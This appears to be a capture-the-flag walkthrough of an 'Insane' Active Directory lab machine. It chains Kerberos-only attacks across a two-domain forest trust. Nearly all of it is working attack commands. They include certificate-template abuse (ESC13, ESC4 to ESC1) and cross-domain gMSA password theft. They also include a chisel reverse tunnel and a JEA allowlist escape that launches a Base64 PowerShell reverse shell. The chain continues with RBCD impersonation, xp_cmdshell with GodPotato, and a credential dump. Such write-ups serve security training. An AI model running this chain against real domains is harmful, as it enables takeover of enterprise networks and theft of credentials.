Nmap
The target is a Windows Domain Controller. Ports 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, and 5985 are open. The LDAP certificate SAN confirms the domain is ping.htb with hostname dc1.ping.htb.
nmap -sC -sV -Pn <DC1_IP> -oN ./nmap.txt
Add the hostname to /etc/hosts. The provided credentials are c.roberts / AssumedBreach123.
Information Gathering from DC1
SMB and LDAP both reject the supplied credentials with STATUS_NOT_SUPPORTED. That is the standard signature of a Windows environment with NTLM authentication disabled. Every tool used from here must speak Kerberos and carry a ccache.
nxc smb ping.htb -u c.roberts -p AssumedBreach123 nxc ldap ping.htb -u c.roberts -p AssumedBreach123
Generate the krb5.conf from the target, sync time, and request a TGT for c.roberts.
nxc smb ping.htb --generate-krb5-file ./krb5.conf export KRB5_CONFIG=./krb5.conf sudo ntpdate -u ping.htb getTGT.py 'PING.HTB/c.roberts:AssumedBreach123' export KRB5CCNAME=c.roberts.ccache klist c.roberts.ccache
Enumerate users and gather domain information with BloodHound.
nxc ldap ping.htb -u c.roberts --use-kcache --users-export users.txt rusthound -d ping.htb -u c.roberts@ping.htb -k -f dc1.ping.htb \ -i <DC1_IP> -n <DC1_IP> --dns-tcp --ldaps -z
BloodHound reveals a two way trust between PING.HTB and PONG.HTB. The forest is now the attack surface. Key SIDs are recorded for cross domain use.
PING.HTB: S-1-5-21-750635624-2058721901-1932338391 PONG.HTB: S-1-5-21-2410575906-3092493790-2123333151
Three relationships stand out.
- c.roberts is a member of IT@PING.HTB.
- Domain Users can enroll in the TemporaryWinRM certificate template.
- CA Managers@PING.HTB has WriteOwner, WriteDacl, and GenericWrite over the SmartcardAuthentication template. This is marked as ESC4 in BloodHound.
The attack plan becomes clear. Take a foothold in PING via ADCS, cross into PONG via the trust, gain admin there, then come back to PING and finish with ESC4 to ESC1.
ESC13 on TemporaryWinRM
Enumerate certificate templates with Certipy.
certipy-ad find -u 'c.roberts@ping.htb' -k -target dc1.ping.htb -dc-ip <DC1_IP> -enabled
The TemporaryWinRM template is enabled for client authentication and its issuance policy OID is linked to CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb. This is ESC13. Any Domain User can enroll, and the resulting certificate effectively grants group membership in TempWinRMAccess for services that honor the issuance policy. That group is what gives WinRM access.
Request the certificate.
certipy-ad req -target dc1.ping.htb -target-ip <DC1_IP> -dc-ip <DC1_IP> \ -u 'c.roberts@ping.htb' -k -ca 'PING-DC1-CA' -template 'TemporaryWinRM'
Authenticate with the resulting pfx to obtain a TGT and NT hash.
certipy-ad auth -pfx 'c.roberts.pfx' -domain ping.htb -dc-ip <DC1_IP>
Use the new ccache to open a WinRM shell on DC1.
evil-winrm -i dc1.ping.htb -r PING.HTB
Check privileges and group memberships.
whoami /priv whoami /groups
The user is now in PING\TempWinRMAccess and PING\IT. Listing C:\Users shows a directory called Pong_gMSA$, which is a group managed service account from the PONG domain.
Pivot to DC2
DC1 has a second NIC on 192.168.2.1/24. Upload fscan and sweep the internal subnet to find DC2 at 192.168.2.2 with SMB, LDAP, Kerberos, and MSSQL exposed.
.\fscan.exe -h 192.168.2.0/24 -nopoc -nobr
Set up a pivoting tunnel. Chisel works fine and is fast to deploy.
# Attacker chisel server -p 8080 --reverse # Target (DC1), as hidden process so it survives Start-Process -FilePath C:\ProgramData\chisel.exe ` -ArgumentList "client <LHOST>:8080 R:socks" -WindowStyle Hidden # proxychains4.conf socks5 127.0.0.1 1080
Verify the tunnel and add DC2 to /etc/hosts.
proxychains4 nxc smb 192.168.2.2 echo "192.168.2.2 DC2.pong.htb pong.htb DC2 dc2.pong.htb" | sudo tee -a /etc/hosts
Gathering Information from DC2
Generate a combined krb5.conf that covers both realms so cross realm ticket requests work without editing the file every time.
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
dns_canonicalize_hostname = false
rdns = false
default_realm = PING.HTB
[realms]
PING.HTB = {
kdc = dc1.ping.htb
admin_server = dc1.ping.htb
default_domain = ping.htb
}
PONG.HTB = {
kdc = dc2.pong.htb
admin_server = dc2.pong.htb
default_domain = pong.htb
}
[domain_realm]
.ping.htb = PING.HTB
ping.htb = PING.HTB
.pong.htb = PONG.HTB
pong.htb = PONG.HTB
Request a cross realm ticket for LDAP on DC2 and dump PONG data with rusthound.
export KRB5_CONFIG=./krb5.conf export KRB5CCNAME=c.roberts.ccache proxychains4 kvno ldap/dc2.pong.htb klist proxychains4 rusthound -d pong.htb -u c.roberts@ping.htb -k \ -f dc2.pong.htb -i 192.168.2.2 -n 192.168.2.2 --dns-tcp -z
BloodHound now shows a very useful edge. IT@PING.HTB owns gMSA Managers@PONG.HTB, and that group can read the gMSA password of Pong_gMSA$.
Cross Domain gMSA Abuse
c.roberts is a principal from PING, so when targeting objects in PONG the sAMAccountName cannot be used. The PING SID is used instead. Grant GenericAll on the gMSA Managers group.
bloodyAD --host dc2.pong.htb -d pong.htb -u c.roberts -k \ add genericAll 'CN=gMSA Managers,CN=Users,DC=pong,DC=htb' \ 'S-1-5-21-750635624-2058721901-1932338391-2617'
Convert ownership into effective membership. The groupType attribute is a bitmask. 0x80000000 is SECURITY_ENABLED, 0x00000008 is UNIVERSAL_GROUP, and 0x00000004 is DOMAIN_LOCAL_GROUP. The signed values are -2147483640 and -2147483644. AD rejects the direct jump from Global to Domain Local, so the change is split into two writes.
bloodyAD --host dc2.pong.htb -d pong.htb -u c.roberts -k \ set object 'CN=gMSA Managers,CN=Users,DC=pong,DC=htb' groupType -v -2147483640 bloodyAD --host dc2.pong.htb -d pong.htb -u c.roberts -k \ set object 'CN=gMSA Managers,CN=Users,DC=pong,DC=htb' groupType -v -2147483644 bloodyAD --host dc2.pong.htb -d pong.htb -u c.roberts -k \ add groupMember 'CN=gMSA Managers,CN=Users,DC=pong,DC=htb' \ 'S-1-5-21-750635624-2058721901-1932338391-2617'
Refresh the TGT so the new group membership appears in the PAC, then fetch the cross realm LDAP ticket again.
certipy-ad auth -pfx c.roberts.pfx -domain ping.htb -dc-ip <DC1_IP> proxychains4 kvno ldap/dc2.pong.htb
nxc only returns the NTLM hash of the gMSA, and DC2 rejects RC4. ldeep parses the full blob and returns the AES256 Kerberos key.
proxychains4 ldeep ldap -u c.roberts -d ping.htb -k \ -s ldap://dc2.pong.htb gmsa
Pong_gMSA$:nthash:<NTHASH> Pong_gMSA$:aes128-cts-hmac-sha1-96:<AES128> Pong_gMSA$:aes256-cts-hmac-sha1-96:<AES256> Pong_gMSA$:reader:gMSA Managers (group)
Request a TGT for Pong_gMSA$ using the AES256 key.
getTGT.py -dc-ip dc2.pong.htb -aesKey <AES256> 'pong.htb/Pong_gMSA$' klist Pong_gMSA\$.ccache
Pong_gMSA$ is not in Remote Management Users and not in TempWinRMAccess, so a direct WinRM session fails. But a JEA endpoint exists on DC1 for this account.
JEA Endpoint on DC1
Enumerating C:\ProgramData on DC1 shows a JEA configuration file with SessionType = RestrictedRemoteServer, LanguageMode = ConstrainedLanguage, and a configuration name of restricted. This endpoint is reachable via PowerShell Remoting Protocol (PSRP), not WinRM HTTP with the default shell. A PSRP client such as pypsrp can select the restricted endpoint and open a runspace.
The krb5.conf needs dns_canonicalize_hostname = false so that cross realm SPN lookups work correctly. The Pong_gMSA$ principal then needs a service ticket for HTTP/dc1.ping.htb through the trust.
export KRB5CCNAME=Pong_gMSA\$.ccache kvno HTTP/dc1.ping.htb
Write a small Python script using pypsrp to test the endpoint.
import os
from pypsrp.wsman import WSMan
from pypsrp.powershell import RunspacePool, PowerShell
os.environ["KRB5CCNAME"] = "Pong_gMSA$.ccache"
os.environ["KRB5_CONFIG"] = "./krb5.conf"
cmd = r"""
$PSVersionTable.PSVersion
Get-Command
"""
wsman = WSMan(
"dc1.ping.htb",
port=5985,
ssl=False,
path="wsman",
auth="kerberos",
encryption="auto",
no_proxy=True,
negotiate_service="HTTP",
)
with RunspacePool(wsman, configuration_name="restricted") as pool:
ps = PowerShell(pool)
ps.add_script(cmd)
out = ps.invoke()
for item in out:
print(item)
for err in ps.streams.error:
print("ERR:", err)
Running this confirms the runspace opens and only a tiny allowlist of cmdlets is exposed. Get-Location is denied. The crucial trick is that the & call operator is still usable. Any command can then be invoked inside a script block and escape the whitelist.
cmd = r'& { whoami }'
This returns pong\pong_gmsa$. The same trick executes a Base64 encoded PowerShell reverse shell.
cmd = r'& { powershell -e <BASE64_REVERSE_SHELL> }'
A netcat listener receives a shell as pong\pong_gmsa$.
Switch to C.Carlssen
Enumerate the filesystem. C:\Users\Pong_gMSA$\Documents contains ITAccess.psrc and JEAconfig_backup.pssc. The PowerShell history file reveals the next account.
type C:\Users\Pong_gMSA$\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Inside it is a reusable command that stores a PSCredential for pong\c.carlssen. BloodHound confirms c.carlssen is a member of Remote Management Users and IT Service Admins on PONG. Get a TGT for c.carlssen and open WinRM on DC2.
getTGT.py 'PONG.HTB/c.carlssen:<PASSWORD>' export KRB5CCNAME=c.carlssen.ccache proxychains4 evil-winrm -i dc2.pong.htb -r PONG.HTB
Privilege Escalation on DC2
c.carlssen has GenericWrite over several service accounts. Only svc_sql has SQL admin rights on DC2, so it becomes the RBCD target. MachineAccountQuota is 0, so a new computer cannot be added. The existing Pong_gMSA$ account is reused as the attacker controlled principal.
Grant RBCD on svc_sql to Pong_gMSA$.
bloodyAD -d pong.htb --host dc2.pong.htb --dc-ip 192.168.2.2 \ -u c.carlssen -k \ add rbcd svc_sql 'Pong_gMSA$'
BloodHound has marked c.adam and p.reiner as Database Admins on DC2. Use S4U2Proxy to impersonate c.adam against MSSQL.
KRB5CCNAME='Pong_gMSA$.ccache' getST.py -k -no-pass \ -spn 'mssqlsvc/dc2.pong.htb' \ -impersonate 'c.adam' \ -dc-ip 192.168.2.2 \ 'pong.htb/Pong_gMSA$'
Connect to MSSQL with the resulting service ticket.
KRB5CCNAME='c.adam@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache' \ mssqlclient.py -k -no-pass \ 'pong.htb/c.adam@dc2.pong.htb' \ -dc-ip 192.168.2.2
Enable xp_cmdshell and inspect the service account privileges.
enable_xp_cmdshell EXEC xp_cmdshell 'whoami' EXEC xp_cmdshell 'whoami /priv'
The shell runs as pong\svc_sql with SeImpersonatePrivilege enabled. Upload GodPotato via the c.carlssen WinRM session and run it through MSSQL to add c.carlssen to local Administrators.
# In c.carlssen WinRM shell cd C:\ProgramData upload /path/on/kali/GodPotato-NET4.exe gp.exe icacls C:\ProgramData\gp.exe /grant Everyone:RX # In MSSQL EXEC xp_cmdshell 'C:\ProgramData\gp.exe -cmd "net localgroup administrators pong\c.carlssen /add"' EXEC xp_cmdshell 'net localgroup administrators'
Dump the DC2 domain credentials. This exposes the AES256 key for R.Martinelli, the user whose cross domain group membership in PING.HTB is the key to the final phase.
KRB5CCNAME=c.carlssen.ccache secretsdump.py -k -no-pass \ 'pong.htb/c.carlssen@dc2.pong.htb' \ -dc-ip 192.168.2.2 -target-ip 192.168.2.2 \ -just-dc-user R.Martinelli
Privilege Escalation on DC1
R.Martinelli has an interesting cross domain membership. He belongs to CA Managers@PING.HTB, and that group has WriteOwner, WriteDacl, and GenericWrite over the SmartcardAuthentication template in PING. This is the ESC4 path that leads back to DC1.
Request a TGT for R.Martinelli using his AES256 key, then fetch a cross realm LDAP ticket to DC1.
getTGT.py -aesKey <R.Martinelli_AES256> -dc-ip 192.168.2.2 'pong.htb/r.martinelli' export KRB5CCNAME=r.martinelli.ccache proxychains4 kvno ldap/dc1.ping.htb klist
Inspect the SmartcardAuthentication template. It has Client Authentication enabled, Enrollee Supplies Subject disabled, and enrollment restricted to Domain Admins and Enterprise Admins. On its own it is not vulnerable, but with WriteOwner and WriteDacl over it, R.Martinelli can rewrite it into an ESC1 template. Two changes are needed. Enable subject supply by setting msPKI-Certificate-Name-Flag to 1, and open enrollment to Authenticated Users so a low privileged user such as c.roberts can request a certificate.
bloodyAD -d ping.htb --host dc1.ping.htb -u r.martinelli -k \ set object 'CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' \ msPKI-Certificate-Name-Flag -v 1 bloodyAD -d ping.htb --host dc1.ping.htb -u r.martinelli -k \ add genericAll 'CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' \ 'S-1-5-11'
S-1-5-11 is the well known SID for Authenticated Users. With these two writes the template is now exploitable as ESC1.
Use c.roberts to request a certificate on behalf of Administrator@ping.htb.
certipy-ad auth -pfx c.roberts.pfx -domain ping.htb -dc-ip <DC1_IP> export KRB5CCNAME=c.roberts.ccache certipy-ad req -k -no-pass \ -target dc1.ping.htb -dc-host dc1.ping.htb -dc-ip <DC1_IP> \ -ca ping-DC1-CA -template SmartcardAuthentication \ -upn 'Administrator@ping.htb' \ -sid 'S-1-5-21-750635624-2058721901-1932338391-500'
Authenticate with the issued administrator.pfx.
certipy-ad auth -pfx administrator.pfx \ -username Administrator -domain ping.htb -dc-ip <DC1_IP>
That drops an Administrator ccache in the current directory. Use it for a final WinRM session as the domain administrator.
KRB5CCNAME='administrator.ccache' evil-winrm -i dc1.ping.htb -r PING.HTB whoami # ping\administrator
The forest loop is closed. The attack started in PING as c.roberts, moved to PONG for privilege, and came back to PING as Administrator.
Flags
- User flag: captured on DC2 as pong\c.carlssen via the WinRM session.
- Root flag: captured on DC1 as ping\administrator after the ESC1 takeover.
Description
PingPong is an Insane rated Windows Active Directory machine that chains a series of advanced attack techniques across a two domain forest trust. NTLM is disabled from the start, so the whole engagement runs inside a Kerberos only environment.
Initial enumeration with the provided c.roberts credentials reveals a rich AD environment. BloodHound analysis uncovers an ESC13 misconfiguration on a certificate template whose issuance policy OID maps to the TempWinRMAccess group. That is enough to open a WinRM session and move deeper. From there a gMSA password is recovered, which gives a route into the second domain PONG.HTB through the forest trust.
Inside PONG, further enumeration exposes a path to DCSync, leading to the compromise of R.Martinelli, a PONG user who holds membership in the CA Managers group back in PING.HTB. This cross domain group membership is the key to the final phase. Abusing GenericWrite and WriteDacl over the SmartcardAuthentication certificate template turns it into an ESC1 exploitable template. With subject supply allowed and enrollment opened, c.roberts requests a certificate that impersonates Administrator@ping.htb and completes the forest takeover.
What makes PingPong stand out is that every technique builds on the previous one. Kerberos only auth, ESC13, gMSA abuse, cross domain trust traversal, and finally ESC4 to ESC1 form a single coherent chain that mirrors the complexity of real enterprise environments.

Comments
Post a Comment
Express your opinion